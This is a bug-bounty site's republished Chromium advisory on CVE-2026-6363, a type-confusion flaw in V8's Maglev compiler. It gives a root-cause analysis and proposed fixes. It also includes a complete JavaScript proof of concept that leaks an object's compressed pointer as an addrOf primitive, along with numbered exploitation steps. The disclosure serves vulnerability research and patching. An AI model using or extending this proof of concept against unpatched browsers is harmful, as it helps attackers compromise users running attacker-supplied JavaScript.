Skip to content
Memory corruption Advisory Advanced CVE-2026-6363

Type Confusion in V8 (CVE-2026-6363)

A type confusion in V8's Maglev compiler arises because the IsEscaping() check is non-transitive, so a nested array inside an escaping context is not marked as escaping. An attacker can then transition the array's element kind at runtime and read object pointers as numbers, yielding an addrOf primitive.

Google Chrome

Originally disclosed on Chrome VRP

  • Fix shipped in 23 days

Project Fortify, an experimental security project, has identified the following potential security issue.

Overview: A potential type confusion vulnerability exists in V8's Maglev compiler due to non-transitive IsEscaping() checks during graph building. An attacker can exploit this by nesting an array inside an escaping context, bypassing map checks, and transitioning the array's elements kind at runtime to achieve an addrOf primitive.

Affected files:

  • src/maglev/maglev-graph-builder.cc

Estimated timestamp from git blame: 2025-11-25

Summary

A potential critical type confusion vulnerability exists in V8's Maglev JIT compiler. The issue arises because the IsEscaping() method on InlinedAllocation objects evaluates non-transitively during the graph building phase. When a nested object (like an array stored within an arguments object, which is then stored within a WithContext) escapes transitively through its container, Maglev fails to detect this escape locally on the nested object. Consequently, Maglev incorrectly assumes the nested object's map cannot change and omits critical speculation guards (like CheckMaps), leading to type confusion and an addrOf primitive.

Root Cause Analysis

The vulnerability centers around how Maglev determines if an inlined allocation escapes its immediate uses during graph building in v8/src/maglev/maglev-graph-builder.cc.

  1. Non-Transitive IsEscaping(): The InlinedAllocation::IsEscaping() method in maglev-ir.h simply checks use_count_ > non_escaping_use_count_. During graph building, when object A is stored into object B (e.g., via AddNonEscapingUses), A's non_escaping_use_count_ is incremented. If B subsequently escapes (e.g., by being passed to a CallRuntime node which only increments B's use_count_), B is correctly marked as escaping. However, this escape status is not propagated back to A during graph building. A->IsEscaping() continues to return false.

  2. Omitted Map Checks: In TryReduceArrayIteratorPrototypeNext, Maglev checks if the iterated_object is an InlinedAllocation and if IsEscaping() is false. If false, it trusts the compile-time map of the object (e.g., PACKED_DOUBLE_ELEMENTS) and completely omits emitting a CheckMaps guard before building the element load operations.

  3. The Escape Path: An attacker can craft a scenario where:

    • An array of doubles (a) and its iterator are passed to an inner function.
    • The inner function uses with (arguments) { ... }, forcing Maglev to create a WithContext (InlinedAllocation) that contains the arguments object.
    • Inside the with block, a property lookup triggers a CallRuntime(Runtime::kLoadLookupSlot), passing the WithContext as an argument. The WithContext now escapes.
    • The runtime call executes a user-defined getter (e.g., on Object.prototype).
  4. Type Confusion: While executing the user-defined getter in the runtime/interpreter, the attacker accesses the array a via the arguments object and stores a non-Number object into it. This forces a map transition from PACKED_DOUBLE_ELEMENTS to PACKED_ELEMENTS.

  5. Exploitation: When the runtime call returns to the Maglev-compiled code, it proceeds to execute an inlined iter.next() call. Because the CheckMaps guard was omitted (step 2), Maglev blindly reads an 8-byte chunk from the array's backing store using a double-precision float load instruction. Since the array now contains 32-bit compressed object pointers, Maglev returns these pointers to the attacker as a Javascript Number, yielding a reliable addrOf primitive.

Potential Exploitation Steps

(Note: These are suggested potential steps, as our setup cannot execute the code directly.)

An attacker could use the following Proof of Concept (PoC) to trigger the vulnerability and leak the compressed pointer of an arbitrary object (marker):

JavaScript
// FLAGS: --allow-natives-syntax

let do_transition = false;
let marker = {x: 1.337};

Object.defineProperty(Object.prototype, '_leak', {
  get() {
    if (do_transition) {
      this[1][0] = marker;   // PACKED_DOUBLE -> PACKED_ELEMENTS transition
    }
    return this;
  },
  configurable: true
});

function target(iter) {
  return iter.next().value;
}

function inner() {
  var leaked;
  // Forces WithContext creation. _leak triggers the runtime call.
  with (arguments) { leaked = _leak; }
  return target.apply(null, arguments);
}

function outer() {
  let a = [1.1, 2.2, 3.3];
  let iter = a.values();
  return inner(iter, a);
}

%PrepareFunctionForOptimization(target);
%PrepareFunctionForOptimization(inner);
%PrepareFunctionForOptimization(outer);

outer(); outer(); outer();

%OptimizeMaglevOnNextCall(outer);
do_transition = true;
let r = outer();

if (typeof r === "number" && r !== 1.1) {
  let f64 = new Float64Array(1);
  f64[0] = r;
  let u32 = new Uint32Array(f64.buffer);
  console.log("lo32: 0x" + u32[0].toString(16).padStart(8, '0') + " (compressed ptr to marker)");
  console.log("hi32: 0x" + u32[1].toString(16).padStart(8, '0'));
}

Proposed Fix

The fundamental issue is relying on a non-transitive IsEscaping() check to omit map speculation guards during graph building. EscapeAnalysis (which accurately computes transitive escapes) runs as a post-hoc processor, which is too late to insert missing guards.

Potential fixes include:

  1. Conservatively Disable the Optimization: In TryReduceArrayIteratorPrototypeNext, disable the optimization that omits CheckMaps if the object is an InlinedAllocation. Always emit CheckMaps unless it can be proven definitively (e.g., via the later EscapeAnalysis pass or a more robust early check) that the object cannot escape.
  2. Propagate Escapes During Graph Building: Modify the graph building phase so that when an InlinedAllocation (like WithContext) escapes (e.g., its use_count_ increases without a corresponding non_escaping_use_count_ increase), this escape status is transitively propagated to all nested InlinedAllocation dependencies immediately, rather than waiting for the post-hoc EscapeAnalysis pass.
  3. Restrict IsEscaping(): Modify IsEscaping() to return true (or "unknown") if the object is stored inside another InlinedAllocation whose escape status is not definitively known or cannot be tracked during graph building.

Evaluated with Chrome root at commit: 9760e6c70cd33a320713361f17c6dcca85648c0f


Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. Please feel free to reach out to me if you have concerns or feedback.

The original report as published on the Chromium issue tracker. Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the IsEscaping() check on inlined allocations is non-transitive during graph building, so nested objects that escape through a container are not marked as escaping, causing Maglev to omit map checks.

Impact

An attacker could obtain an addrOf primitive, leaking the compressed pointer of an arbitrary object, which is a step towards further exploitation.

What the attacker needed

Ability to run JavaScript in V8 with Maglev; Victim runs attacker-supplied JavaScript

The fix

The optimization that omits CheckMaps should be disabled, or escape status should be propagated transitively during graph building, or IsEscaping() should be restricted to return true when escape status is unknown.

How it was found

  1. Create an array of doubles and its iterator, then pass them to an inner function.
  2. In the inner function, use a with statement over arguments to force creation of a WithContext.
  3. Inside the with block, trigger a property lookup that calls a runtime function, causing the WithContext to escape.
  4. The runtime call executes a user-defined getter that accesses the array via arguments and stores a non-Number object, transitioning the array from PACKED_DOUBLE_ELEMENTS to PACKED_ELEMENTS.
  5. After the runtime call returns, Maglev executes an inlined iter.next() without a map check and reads the array's backing store as a double, returning object pointers as a Number.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

V8 is the JavaScript engine in Chrome. Maglev is a compiler inside V8 that makes assumptions to speed up code. This bug lets an attacker trick Maglev into skipping a safety check, so it reads memory incorrectly and leaks the address of an object.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.